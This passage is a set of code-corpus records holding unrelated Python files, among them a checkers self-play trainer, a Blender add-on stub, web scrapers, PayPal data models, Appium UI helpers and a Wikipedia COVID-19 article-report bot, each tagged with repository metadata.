:param window_size: int giving how big a window to look for primers in\n :return: dict whose keys are edit sites and whose values are dictionaries that contain the\n output of primer3's designPrimers and for pairs of primers, the left, right, and product length in list form.\n Note that this code doesn't guarantee that primers won't match to parts of the recoded gene with silent\n mutations from nuclease/HR editing.\n \"\"\"\n\n site_primers = {} # dict to return with site keys and primer-dict values\n mid = round(window_size/2) # precalculate half window_size\n\n for site in self.all_sites:\n if self.strand: # + strand\n search_window = self.chromosome.seq[site-mid: site+mid]\n else: # - strand\n search_window = rc(self.chromosome.seq[site-mid: site+mid])\n\n # get primer3 results on window\n primer_results = p3.bindings.designPrimers({'SEQUENCE_ID': self.name+'_site_'+str(site),\n 'SEQUENCE_TEMPLATE': search_window,\n 'SEQUENCE_INCLUDED_REGION': [mid-150, 300]}) # start, length\n\n # initialize site_dict and get the number of primer pairs\n site_dict = {'WINDOW_SIZE': window_size, 'P3_RESULTS': primer_results}\n pair_num = primer_results['PRIMER_PAIR_NUM_RETURNED']\n\n for j in range(pair_num): # for each primer pair\n j_str = str(j) # string giving the number of the pair\n left = primer_results['PRIMER_LEFT_'+j_str+'_SEQUENCE'] # left pair\n right = primer_results['PRIMER_RIGHT_'+j_str+'_SEQUENCE'] # right pair\n product_len = primer_results['PRIMER_PAIR_'+j_str+'_PRODUCT_SIZE'] # product length\n site_dict['PAIR_'+j_str] = {'LEFT': left, 'RIGHT': right, 'PRODUCT_LEN': product_len,\n 'REFERENCE': search_window} # entry for pair\n\n site_primers[site] = site_dict # add entry for this site\n\n return site_primers","repo_name":"thestephencasper/GRIT","sub_path":"GRIT_utils.py","file_name":"GRIT_utils.py","file_ext":"py","file_size_in_byte":36152,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"25330854820","text":"import time\n\nfrom AI import *\n\nfrom multiprocessing import Process\nfrom multiprocessing.connection import wait\nimport multiprocessing\nfrom Config import Config\nfrom matplotlib import pyplot\nfrom Network_MCTS import *\n\n\nclass NN_Game:\n def __init__(self, org_player):\n \"\"\"\n A special NN game that only hold the important information regarding the game\n :param games: A numpy array of all the states of a given game\n :param result: The outcome of the game\n \"\"\"\n self.history = []\n self.result = 0\n self.child_visits = []\n self.score = []\n self.org_player = org_player\n\n def store_search_statistics(self, root: NN_Node):\n sum_visits = sum(child.number_of_simulations for child in root.children)\n width = Config.BOARD_WIDTH\n actions_pos = {width*a.actions[-1].x+a.actions[-1].y: a.number_of_simulations/sum_visits for a in root.children}\n search_statistic = [0]*Config.ACTION_SPACE\n for i in range(Config.ACTION_SPACE):\n if i in actions_pos.keys():\n search_statistic[i] = actions_pos[i]\n self.child_visits.append(search_statistic)\n\n def add_history(self, hist, turn):\n outcome = np.zeros((2, len(hist), len(hist[0])))\n for y in range(len(hist)):\n for x in range(len(hist[0])):\n opponent = 1 if turn - 1 else 2\n if hist[y][x] == turn:\n outcome[0][y][x] = 1\n elif hist[y][x] == opponent:\n outcome[1][y][x] = 1\n self.history.append((outcome, turn))\n\n def add_result(self, res):\n self.result = res\n\n def make_label(self, index: int):\n res = self.result if self.history[index][1] != self.org_player else -self.result\n score = self.score[index] if self.history[index][1] != self.org_player else -self.score[index]\n output = (score+res)/2\n return output, self.child_visits[index]\n\n def add_part_time_result(self, score):\n self.score.append(score)\n\n\nclass Buffer:\n def __init__(self):\n self.windows_size = Config.WINDOW_SIZE\n self.buffer = []\n\n def save_game(self, game: NN_Game):\n if len(self.buffer) > self.windows_size:\n self.buffer = self.buffer[:len(self.buffer) // 2]\n self.buffer.append(game)\n\n def sample_batch(self):\n move_sum = float(sum(len(g.history) for g in self.buffer))\n games = np.random.choice(\n self.buffer,\n size=Config.BATCH_SIZE,\n p=[len(g.history) / move_sum for g in self.buffer]\n )\n game_pos = [(g, numpy.random.randint(len(g.history))) for g in games]\n return [(g.history[i][0], g.make_label(i)) for (g, i) in game_pos]\n\n\nclass Storage:\n\n def __init__(self):\n self.networks = {}\n\n def get_latest_network(self, size) -> Network:\n if len(self.networks):\n return self.networks[max(self.networks.keys())]\n else:\n net = Network((2, size, size), (size * size))\n self.networks[0] = net\n return net\n\n def save_network(self, network):\n self.networks[0] = network\n\n def store_network(self, i, network):\n network.save_network(i)\n\n\nclass BetaOne(AI):\n\n def __init__(self, storage=Storage(), buffer=Buffer()):\n super().__init__()\n self.num_actors = Config.ACTORS\n self.storage = storage\n self.board_size = 6\n self.board = None\n self.buffer = buffer\n self.has_trained = 0\n self.child_pipe = None\n self.turn = 0\n\n def launch_job(self, pipe):\n while True:\n game = self.play_game(pipe)\n pipe.send([\"save_game\", game])\n\n def start_actor(self, child_pipe):\n # self.launch_job()\n process = Process(target=self.launch_job, args=(child_pipe,))\n process.start()\n\n def handler(self, pipe):\n self.run_handler(pipe)\n\n def run_handler(self, pipe):\n # TODO: COMPRESS CODE\n buffer = Buffer()\n storage = Storage()\n parser = {\n \"evaluate\": 3,\n \"print\": 1,\n \"get_sample_batch\": 0,\n \"save_game\": 2,\n \"get_size_buffer\": 5,\n \"train_network\": 6,\n \"done_training\": 7,\n \"clear_buffer\": 8,\n \"predict_multiple_roots\": 9\n }\n i = 0\n plots = [[],[]]\n buffer_size_at_last_training = 0\n while True:\n for parent in wait(pipe):\n val = parent.recv()\n if parser[val[0]] == 3:\n net = storage.get_latest_network(self.board_size)\n value = net.evaluate(val[1], self.board_size, val[2])\n parent.send(value)\n elif parser[val[0]] == 1:\n print(len(buffer.buffer))\n elif parser[val[0]] == 2:\n for game in val[1]:\n buffer.save_game(game)\n buffer_size_at_last_training += len(val[1])\n elif parser[val[0]] == 0:\n parent.send(buffer.sample_batch())\n elif parser[val[0]] == 5:\n parent.send(buffer_size_at_last_training)\n elif parser[val[0]] == 9:\n net = storage.get_latest_network(self.board_size)\n parent.send(net.evaluate_multiple(val[1]))\n if buffer_size_at_last_training >= Config.BUFFER_SIZE:\n buffer_size_at_last_training = 0\n if not i:\n plots = self.train_network(buffer, storage, i, plots)\n i+=1\n for j in range(i, i + Config.EPOCHS_PR_TRAINING):\n plots = self.train_network(buffer, storage, j, plots)\n i += Config.EPOCHS_PR_TRAINING\n if i >= Config.TRAINING_STEPS:\n print(i)\n pyplot.plot(plots)\n pyplot.show()\n break\n\n def decide_move(self, board, value):\n if self.has_trained:\n # nn = self.storage.get_latest_network(self.board_size)\n player = NN_MCTS()\n return player.decide_move(board, value, self.child_pipe)[0]\n self.board_size = board.board_size\n self.board = board\n self.turn = value\n # Creates the pipe to send forward the buffer and storage\n\n parent_pipes = []\n for _ in range(Config.ACTORS):\n parent_pipe, child_pipe = multiprocessing.Pipe()\n parent_pipes.append(parent_pipe)\n self.start_actor(child_pipe)\n parent_pipe, child_pipe = multiprocessing.Pipe()\n parent_pipes.append(parent_pipe)\n self.handler(parent_pipes)\n print(\"started handler\")\n\n # nn = self.storage.get_latest_network(self.board_size)\n player = NN_MCTS()\n self.has_trained = 1\n self.child_pipe = child_pipe\n return player.decide_move(board, value, child_pipe)[0]\n\n def decide_move_two(self, board, value, x, y):\n pass\n\n def play_game(self, child_pipe):\n start = time.time()\n boards = [self.board.create_copy((self.board.actions + []), self.board_size) for _ in range(Config.NUM_SAME_AGENTS)]\n turns = [self.turn] * Config.NUM_SAME_AGENTS\n games = [NN_Game(self.turn) for _ in range(Config.NUM_SAME_AGENTS)]\n board_to_use = [(g,b, turn) for g,b,turn in zip(games, boards, turns)]\n play1 = NN_MCTS()\n while len(board_to_use):\n roots = play1.decide_move_multiple_actors([b[1] for b in board_to_use], turns, child_pipe)\n for i,(g, board, turn) in enumerate(board_to_use):\n g.add_history(board.get_board(), turn)\n g.store_search_statistics(roots[i])\n g.add_part_time_result(roots[i].get_score())\n turns = [b[1].get_turn(b[2]) for b in board_to_use]\n board_to_use = []\n for g, board, turn in zip(games, boards, turns):\n if not board.is_terminal_state():\n board_to_use.append((g,board,turn))\n # play1.print(roots[0])\n\n for board, game in zip(boards,games):\n opponent = 1 if self.turn - 1 else 2\n res = board.is_winner(self.turn) if board.is_winner(self.turn) else -1\n game.add_result(res)\n end = time.time()\n print(f\"Playing a game with {Config.NUM_SAME_AGENTS} Agents and {Config.ACTORS} Resulted in a total play time of {end-start} seconds\")\n return games\n\n def train_network(self, buffer, storage, i, plot):\n \"\"\"\n Trains the network on one given batch\n :param buffer: The buffer were it can fetch the played games from\n :param storage: A storage containing all the networks\n :param i: Current number of time it has trained\n :param plot: A list of all the loss\n :return: The updated loss\n \"\"\"\n network = storage.get_latest_network(self.board_size)\n Print_Progress_Bar(i, Config.TRAINING_STEPS, f\"Epoch {i} \")\n print()\n batch = buffer.sample_batch()\n batch_image, expected_out = np.array([i[0] for i in batch]), [i[1] for i in batch]\n expected_res, expected_img = np.array([i[0] for i in expected_out]), np.array([i[1] for i in expected_out])\n batch_image = batch_image.reshape((-1, 2, self.board_size, self.board_size))\n loss = network.model.train_on_batch(batch_image, (expected_res, expected_img))\n plot[0].append(loss)\n\n #TODO: Make an arena between the best network and this current to keep on using the best possible network\n\n storage.save_network(network)\n if not i % Config.CHECKPOINT_INTERVAL:\n storage.store_network(i, network)\n result = [-1,-1,-1] if not i else self.play_on_that_network(network, i)\n print(f\"Started at loss {plot[0][0]} now at {plot[0][-1]}\")\n plot[1].append((result, i))\n np.save(f\"Output/{Config.LOSS_NAME}.npy\", plot)\n return plot\n\n def play_on_that_network(self, network, i):\n result = []\n player = NN_MCTS()\n opponents = [MCTS(), VariousRnd(), NN_MCTS(f\"Output/{Config.NETWORK_NAME}{i-Config.CHECKPOINT_INTERVAL}.h5\")]\n opponent_turn = 1 if self.turn-1 else 2\n for opponent in opponents:\n res = 0\n for i in range(Config.TEST_GAMES_PR_CHECKPOINT):\n board = self.board.create_base_copy()\n turn = self.turn\n while not board.is_terminal_state():\n if turn == self.turn:\n player.decide_move(board, turn, network=network)\n else:\n opponent.decide_move(board, turn)\n turn = board.get_turn(turn)\n res += 1 if board.is_winner(self.turn) else -board.is_winner(opponent_turn)\n result.append(res/Config.TEST_GAMES_PR_CHECKPOINT)\n return result\n","repo_name":"Pluttodk/AlphaZero_Checkers_Python","sub_path":"NN.py","file_name":"NN.py","file_ext":"py","file_size_in_byte":11035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"14844556937","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n\n__author__ = \"Nako\"\n__status__ = \"production\"\n__version__ = \"0.8\"\n__date__ = \"4 June 2022\"\n\nbl_info = {\n \"name\": \"Warp Image\",\n \"author\": \"Nako\",\n \"description\": \"Warp texture image from src uv to dst uv\",\n \"location\": \"\",\n \"version\": (0, 8),\n \"blender\": (2, 80, 0),\n \"doc_url\": \"https://github.com/s-nako/WarpImageOnBlender\",\n \"tracker_url\": \"https://github.com/s-nako/WarpImageOnBlender/issues\",\n \"category\": \"UV\",\n}\n\nfrom . import properties\nfrom . import operators\nfrom . import ui_panel\n\n\ndef register():\n print(\"register WARP IMAGE\")\n properties.register()\n operators.register()\n ui_panel.register()\n\n\ndef unregister():\n print(\"unregister WARP IMAGE\")\n ui_panel.unregister()\n operators.unregister()\n properties.unregister()\n\n\nif __name__ == '__main__':\n register()\n","repo_name":"s-nako/WarpImageOnBlender","sub_path":"warp_image/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"21981713364","text":"from selenium import webdriver\nimport pandas as pd\nimport csv_ical\nfrom datetime import datetime\nfrom datetime import timedelta\n\nurl = \"Put the URL from datumprikker.nl here\"\n\ndef get_dates():\n \"\"\"This function scrapes the dates from the website datumprikker.nl. It uses the Chromedriver.\n The result is stored in al list called dates. The dates are then written in a csv-file.\"\"\"\n driver = webdriver.Chrome('Path where Chromedriver is installed')\n driver.get(url)\n \n #This line checks the webpage for any line that contains '2020-' OR '2021-'\n datums = driver.find_elements_by_xpath(\"//*[contains(@data-startdate,'2020-')] | //*[contains(@data-startdate,'2021-')]\" )\n dates = []\n for i in (datums):\n dates.append(i.get_attribute('data-startdate'))\n \n f = open('dates.csv', 'w+')\n f.writelines(\"%s\\n\" % j for j in dates)\n \ndef dates_add_extra_info(dict_dates):\n \"\"\"The created csv file is being read as a dataframe. A couple of columns are added so that we can use \"\"\"\n df = pd.read_csv('The path to where the csv-file is saved')\n df['Event'] = 'Type here your event'\n df['Location'] = 'Type here your location'\n #The UTC part of the sting is being deleted here\n df['Date'] = test['Datum'].astype(str).str[:-6]\n # Date is put to datetime so that we can use timedelta on it\n df['Date'] = pd.to_datetime(test['Date'], yearfirst=True, utc=False)\n \n #I tried to make this a whole day event, but that didn't work yet. Any suggestions?\n df['End_date'] = test['Date'] + timedelta(days=1)\n #The Date and End_date column are being formatted to d-m-Y\n df['Date'] = test['Date'].dt.strftime('%d-%m-%Y')\n df['End_date'] = test['End_date'].dt.strftime('%d-%m-%Y')\n # The extra info is added to a new csv-file. This file will be used in the next function\n df.to_csv('data_datumprikker.csv')\n\n\ndef csv_to_ics():\n \"\"\"This function is used from Github (https://github.com/albertyw/csv-ical). Credits to Albertyw\"\"\"\n convert = csv_ical.Convert()\n csv_file_location = 'location of the csv-file data_datumprikker.csv'\n ics_file_location = 'Location where you want your ics-file'\n\n csv_configs = {\n 'HEADER_ROWS_TO_SKIP': 1,\n 'CSV_NAME': 2,\n 'CSV_START_DATE': 4,\n 'CSV_END_DATE': 5,\n 'CSV_DESCRIPTION': 2,\n 'CSV_LOCATION': 3,\n }\n\n convert.read_csv(csv_file_location, csv_configs)\n\n i = 0\n while i < len(convert.csv_data):\n row = convert.csv_data[i]\n start_date = row[csv_configs['CSV_START_DATE']]\n end_date = row[csv_configs['CSV_END_DATE']]\n try:\n row[csv_configs['CSV_START_DATE']] = datetime.strptime(start_date, '%d-%m-%Y')\n row[csv_configs['CSV_END_DATE']] = datetime.strptime(end_date, '%d-%m-%Y')\n print(row)\n i += 1\n except ValueError:\n convert.csv_data.pop(i)\n print('pop')\n\n convert.make_ical(csv_configs)\n convert.save_ical(ics_file_location)\n","repo_name":"Sjo3rdo/datumprikker_to_ics","sub_path":"datumprikker_to_ics.py","file_name":"datumprikker_to_ics.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"29964761804","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\nfrom scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\nimport urllib\nfrom wsloan.items import WsloanItem\nimport urllib2\nimport os\nimport re\n\n\n\nclass WSLOANspider(CrawlSpider):\n name = 'wsloan'\n allowd_domain = ['www.wsloan.com']\n download_delay = 3 #访问间隔秒数\n start_urls = ['http://www.wsloan.com/invest.aspx?page='+str(x) for x in range(1,10)]\n #['http://www.p2peye.com/hangqing/frtsgp'+str(x)+'.html' for x in range(2,100)]+['http://www.p2peye.com/hangqing/']\n\n rules = (\n Rule(SgmlLinkExtractor(allow=('/jkxq.aspx\\?id='r'\\d{4}', )),\n callback='parse_page', follow=True),\n )\n def parse_page(self, response):\n item = WsloanItem()\n sel = Selector(response)\n item['name'] = sel.xpath('//*[@id=\"main\"]/div[2]/div/div[1]/h3/text()').extract()[0]\n link = response.url\n item['link'] = link\n\n item['amount'] = sel.xpath('//*[@id=\"main\"]/div[2]/div/div[1]/ul/li[1]/i/text()').extract()[0]\n item['income_rate'] = sel.xpath('//*[@id=\"main\"]/div[2]/div/div[1]/ul/li[3]/label/i/text()').extract()[0]\n item['term'] = sel.xpath('//*[@id=\"main\"]/div[2]/div/div[1]/ul/li[2]/label/i/text()').extract()[0]\n item['repay_type'] = sel.xpath('//tr[2]/td[1]/span/text()').extract()[0]\n item['area'] = ''\n try:\n item['reward'] = sel.xpath('//span[@class=\\\"l2 fs\\\"]/text()').extract()[2]\n except:\n item['reward'] = ''\n item['protect_mode'] = ''\n try:\n item['description'] = sel.xpath('//tr[2]/td/p/text()').extract()[0]\n except:\n item['description'] = ''\n\n try:\n \t item['process'] = sel.xpath('//li[@class=\\\"invrate\\\"]/font/text()').extract()[0]\n #item['process'] = sel.xpath('//tr[6]/td/text()').extract()[0]\n except:\n item['process'] = ''\n item['transfer_claim'] = ''\n try:\n item['min_amount'] = sel.xpath('//tr[7]/td/text()').extract()[0]\n except:\n item['min_amount'] = ''\n yield item\n\n\n","repo_name":"yfjelley/scrapy_1214049153","sub_path":"crawl/wsloan/wsloan/spiders/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"44004466292","text":"from typing import Any, List, Optional\nfrom datetime import datetime, timedelta\n\nfrom pydantic import BaseModel\n\nfrom .enums import SubscriptionStatusEnum\nfrom .common import BillingInfo, Link, Plan, Amount, Subscriber\n\nclass AccessTokenResponse(BaseModel):\n scope: str\n access_token: str\n token_type: str\n app_id: str\n expires_in: int\n nonce: str\n expires_utc: Optional[datetime]\n\n def __init__(self, **data: Any) -> None:\n super().__init__(**data)\n\n self.expires_utc = datetime.utcnow() + timedelta(seconds=self.expires_in)\n\n def is_expired(self) -> bool:\n return datetime.utcnow() >= self.expires_utc\n\nclass ListPlansResponse(BaseModel):\n total_items: Optional[int]\n total_pages: Optional[int]\n plans: List[Plan]\n\nclass SubscriptionDetailsResponse(BaseModel):\n id: str\n plan_id: str\n start_time: datetime\n quantity: str\n shipping_amount: Amount\n subscriber: Subscriber\n billing_info: BillingInfo\n create_time: datetime\n update_time: datetime\n links: List[Link]\n status: SubscriptionStatusEnum\n status_update_time: datetime\n","repo_name":"Isaaafc/paypal_python","sub_path":"paypal_python/models/response_models.py","file_name":"response_models.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12542874583","text":"# -*-coding:utf-8 -*-\n# __author__ = 'xiaoxi'\n# @time:2019/1/4 15:21\n\n\nimport os,time\nfrom publicLogs import PublicLogs\nlog=PublicLogs()\n\nclass PublicOperate:\n def __init__(self,driver):\n self.driver=driver\n\n def get_back(self):\n '''\n :return:返回键\n '''\n os.popen('adb shell input keyevent 4')\n\n def get_window_size(self):\n '''\n :return:返回屏幕的大小\n '''\n x=self.driver.get_window_size()['width']\n y=self.driver.get_window_size()['height']\n return(x,y)\n def swipe_up(self):\n '''\n :return:向上滑动\n '''\n try:\n l=self.get_window_size()\n x1=int(l[0]*0.5)\n y1=int(l[0]*0.8)\n y2=int(l[1]*0.2)\n self.driver.swipe(x1,y1,x1,y2,1000)\n except:\n log.error(u\"上滑动异常\")\n\n def swipe_down(self):\n '''\n :return:向下滑动\n '''\n try:\n l=self.get_window_size()\n x1=int(l[0]*0.5)\n y1=int(l[0]*0.2)\n y2=int(l[1]*0.8)\n self.driver.swipe(x1,y1,x1,y2,1000)\n except:\n log.error(u\"下滑动异常\")\n\n def swipe_right(self):\n '''\n :return:向右滑动\n '''\n try:\n l=self.get_window_size()\n x1=int(l[0]*0.2)\n x2=int(l[0]*0.8)\n y1=int(l[1]*0.5)\n self.driver.swipe(x1,y1,x2,y1,1000)\n except:\n log.error(u\"右滑动异常\")\n\n def swipe_left(self):\n '''\n :return:向左滑动\n '''\n try:\n l=self.get_window_size()\n x1=int(l[0]*0.8)\n x2=int(l[0]*0.2)\n y1=int(l[1]*0.5)\n self.driver.swipe(x1,y1,x2,y1,1000)\n except:\n log.error(u\"左滑动异常\")\n\n def screenshot(self):\n '''\n :return:截图\n '''\n nowtime=time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())\n path='../img/'\n self.driver.get_screenshot_as_file(path+nowtime+'.png')\n\n def get_id(self,id):\n try:\n return self.driver.find_element_by_id(id)\n except:\n log.error(\"未定位到该元素:\"+id)\n\n def get_name(self,name):\n try:\n return self.driver.find_element_by_name(name)\n except:\n log.error(\"未定位到该元素:\"+name)\n\n def get_class_name(self,class_name):\n try:\n return self.driver.find_element_by_class_name(class_name)\n except:\n log.error(\"未定位到该元素:\"+class_name)\n\n\n def get_classname_ids(self,classname,ids):\n try:\n ele=self.driver.find_element_by_class_name(classname)\n elements=ele.find_elements_by_id(ids)\n return elements\n except:\n log.error(\"未定位到该元素:\"+ids)\n\n def get_classname_names(self,classname,names):\n try:\n ele=self.driver.find_element_by_class_name(classname)\n elements=ele.find_elements_by_name(names)\n return elements\n except:\n log.error(\"未定位到该元素:\"+names)\n\n def get_classname_classnames(self,classname,classnames):\n try:\n ele=self.driver.find_element_by_class_name(classname)\n elements=ele.find_elements_by_class_name(classnames)\n return elements\n except:\n log.error(\"未定位到该元素:\"+classnames)\n\n\n\n def get_id_names(self,id,names):\n try:\n ele=self.driver.find_element_by_id(id)\n elements=ele.find_elements_by_name(names)\n return elements\n except:\n log.error(\"未定位到该元素:\"+names)\n\n def get_id_classnames(self,id,classnames):\n try:\n ele=self.driver.find_element_by_id(id)\n elements=ele.find_elements_by_class_name(classnames)\n return elements\n except:\n log.error(\"未定位到该元素:\"+classnames)\n\n def get_id_ids(self,id,ids):\n try:\n ele=self.driver.find_element_by_id(id)\n elements=ele.find_elements_by_id(ids)\n return elements\n except:\n log.error(\"未定位到该元素:\"+ids)\n\n def get_name_ids(self,name,ids):\n try:\n ele=self.driver.find_element_by_name(name)\n elements=ele.find_elements_by_id(ids)\n return elements\n except:\n log.error(\"未定位到该元素:\"+ids)\n\n def get_name_names(self,name,names):\n try:\n ele=self.driver.find_element_by_name(name)\n elements=ele.find_elements_by_name(names)\n return elements\n except:\n log.error(\"未定位到该元素:\"+names)\n\n def get_name_classnames(self,name,classnames):\n try:\n ele=self.driver.find_element_by_name(name)\n elements=ele.find_elements_by_class_name(classnames)\n return elements\n except:\n log.error(\"未定位到该元素:\"+classnames)\n\n\n\n\n\n\n\n\n\n","repo_name":"labixiaoxi/JHJUi-python","sub_path":"public/publicOperate.py","file_name":"publicOperate.py","file_ext":"py","file_size_in_byte":5058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"29255860653","text":"import unittest\n\n# 判断某个排列的前面有几个排列\nclass Solution(unittest.TestCase):\n TEST_CASES = [\n ([3,2,1],6)\n ]\n\n def test(self):\n for nums, output in self.TEST_CASES:\n self.assertEqual(output, self.permutation_index(nums))\n\n @staticmethod\n def permutation_index(nums) -> int:\n n = len(nums)\n factorial = 1\n # 从第一个开始编号\n res = 1\n\n # 从右往左扫\n # 例如[3,2,1]\n # ^\n # 2后面有1个比2小: res+=1 * 1!\n # 3后面有2个比3小: res+=2 * 2!\n # 最后res=1+1+4\n for i in range(n - 1, -1, -1):\n smaller_count = 0\n for j in range(i + 1, n):\n if nums[j] < nums[i]:\n smaller_count += 1\n res += factorial * smaller_count\n factorial *= (n - i)\n return res\n","repo_name":"pymongo/python_leetcode","sub_path":"easy/permutation_index.py","file_name":"permutation_index.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9414353325","text":"#! /usr/bin/env python\n\nfrom datetime import datetime, timedelta\nimport hb_config\nimport mwapi\nfrom mwapi.errors import APIError\nimport requests\nfrom requests_oauthlib import OAuth1\nimport pandas as pd\nimport json\n\n#TODO\n#encapsulate what's in MAIN\n#pull hard-coded vals to hb_config\n#docstrings\n#rmv my dumb API function\n\n#code from https://.com/mediawiki-utilities/python-mwapi\ndef get_template_mems(template):\n# If passed a `continuation` parameter, returns an iterable over a continued query.\n# On each iteration, a new request is made for the next portion of the results.\n continued = session.get(\n formatversion=2,\n action='query',\n generator='transcludedin',\n gtinamespace = \"0\",\n gtiprop= \"title\",\n gtishow = \"!redirect\",\n titles= template,\n gtilimit=500, # 100 results per request\n continuation=True)\n\n pages = []\n try:\n for portion in continued:\n if 'query' in portion:\n for page in portion['query']['pages']:\n pages.append(page['title'])\n else:\n print(\"MediaWiki returned empty result batch.\")\n except APIError as error:\n raise ValueError(\n \"MediaWiki returned an error:\", str(error)\n )\n\n return pages\n\ndef api_call(endpoint, parameters): #I don't need this\n try:\n call = requests.get(endpoint, params=parameters)\n response = call.json()\n except:\n response = None\n return response\n\ndef get_latest_rev(page_title):\n #https://en.wikipedia.org/w/api.php?action=parse&prop=sections&format=json&formatversion=2&page=Whidbey_Island\n ENDPOINT = 'https://en.wikipedia.org/w/api.php'\n\n params = {'action' : 'query',\n 'prop' : 'revisions',\n 'titles' : page_title,\n 'format' : 'json',\n 'formatversion' : 2,\n }\n\n page_data = api_call(ENDPOINT, params)\n# pprint(page_data)\n\n try:\n latest_rev = page_data['query']['pages'][0]['revisions'][0]['revid']\n except:\n print(\"unable to retrieve latest revision for \" + page_title)\n latest_rev = None\n\n return latest_rev\n\ndef get_quality_score(revision):\n #https://ores.wikimedia.org/v3/scores/enwiki/866126465/wp10?features=true\n ENDPOINT = 'https://ores.wikimedia.org/v3/scores/enwiki/'\n\n params = {'models' : 'wp10',\n 'revids' : revision,\n }\n\n page_data = api_call(ENDPOINT, params)\n# pprint(page_data)\n\n try:\n prediction = page_data['enwiki']['scores'][str(revision)]['wp10']['score']['prediction']\n# print(prediction)\n\n except:\n print(\"unable to retrieve ORES score for \" + str(revision))\n prediction = None\n\n return prediction\n\ndef get_pageviews(article_params):\n#sample https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia.org/all-access/user/Zeng_Guang/daily/20200314/20200314\n q_template= \"https://wikimedia.org/api/rest_v1/metrics/pageviews/per-article/en.wikipedia.org/all-access/user/{title}/daily/{startdate}/{enddate}\"\n q_string = q_template.format(**article_params)\n# print(q_string)\n# r = requests.get(q_string)\n r = requests.get(\n url = q_string,\n headers = {'User-Agent': \"hostbot (https://wikitech.wikimedia.org/wiki/Tool:HostBot, jonnymorgan.esq@gmail.com\"},\n )\n# print(r.headers)\n# print(r.text)\n# print(r.url)\n\n response = r.json()\n# print(response)\n try:\n views = response['items'][0]['views']\n except:\n views = None\n\n return views\n\ndef get_yesterdates():\n \"\"\"\n Returns month, day year for yesterday; month and day for day before\n \"\"\"\n date_parts = {'year': datetime.strftime(datetime.now() - timedelta(1), '%Y'),\n 'month' : datetime.strftime(datetime.now() - timedelta(1), '%m'),\n 'day': datetime.strftime(datetime.now() - timedelta(1), '%d'),\n 'month2' : datetime.strftime(datetime.now() - timedelta(2), '%m'),\n 'day2': datetime.strftime(datetime.now() - timedelta(2), '%d'),\n }\n\n return date_parts\n\ndef get_total_pageviews(df, column_key):\n\t\"\"\"\n\tReturn sum of numeric column from dataframe based on column title\n\t\"\"\"\n\ttotal_views = df[column_key].sum()\n\n\treturn total_views\n\ndef format_row(rank, title, views, prediction, row_template):\n\n table_row = {'view rank': rank,\n 'title' : title.replace(\"_\",\" \"),\n 'views' : views,\n 'prediction' : prediction,\n }\n\n row = row_template.format(**table_row)\n# print(row)\n return(row)\n\ndef get_token(auth1):\n \"\"\"\n Accepts an auth object for a user\n Returns an edit token for the specified wiki\n \"\"\"\n\n result = requests.get(\n url=\"https://en.wikipedia.org/w/api.php\", #TODO add to config\n params={\n 'action': \"query\",\n 'meta': \"tokens\",\n 'type': \"csrf\",\n 'format': \"json\"\n },\n headers={'User-Agent': \"hostbot (https://wikitech.wikimedia.org/wiki/Tool:HostBot, jonnymorgan.esq@gmail.com\"}, #TODO add to config\n auth=auth1,\n ).json()\n\n# print(result)\n edit_token = result['query']['tokens']['csrftoken']\n# print(edit_token)\n\n return(edit_token)\n\ndef publish_report(output, edit_sum, auth1, edit_token):\n \"\"\"\n Accepts the page text, credentials and edit token\n Publishes the formatted page text to the specified wiki\n \"\"\"\n\n response = requests.post(\n url = \"https://en.wikipedia.org/w/api.php\", #TODO add to config\n data={\n 'action': \"edit\",\n 'title': \"Wikipedia:WikiProject_COVID-19/Article_report\", #TODO add to config\n 'section': \"1\",\n# 'summary': edit_sum,\n 'summary': edit_sum,\n 'text': output,\n 'bot': 1,\n 'token': edit_token,\n 'format': \"json\"\n },\n headers={'User-Agent': \"jonnymorgan.esq@gmail.com\"}, #TODO add to config\n auth=auth1\n )\n\n\nif __name__ == \"__main__\":\n\n auth1 = OAuth1(\"b5d87cbe96174f9435689a666110159c\",\n hb_config.client_secret,\n \"ca1b222d687be9ac33cfb49676f5bfd2\",\n hb_config.resource_owner_secret)\n\n session = mwapi.Session('https://en.wikipedia.org/', user_agent=\"hostbot (https://wikitech.wikimedia.org/wiki/Tool:HostBot, jonnymorgan.esq@gmail.com\") #add ua to config\n\n #get yesterday's date info for queries and reporting\n date_parts = get_yesterdates()\n\n cat = 'Template:COVID-19_pandemic'\n\n mems = get_template_mems(cat)\n# print(mems)\n\n #put these in a dataframe\n df_pandemic = pd.DataFrame(mems)\n\n df_pandemic.rename(columns = {0 : 'page title'}, inplace=True) #should do this when we create the df\n\n latest_revs = []\n scores = []\n\n for row in df_pandemic['page title']:\n# 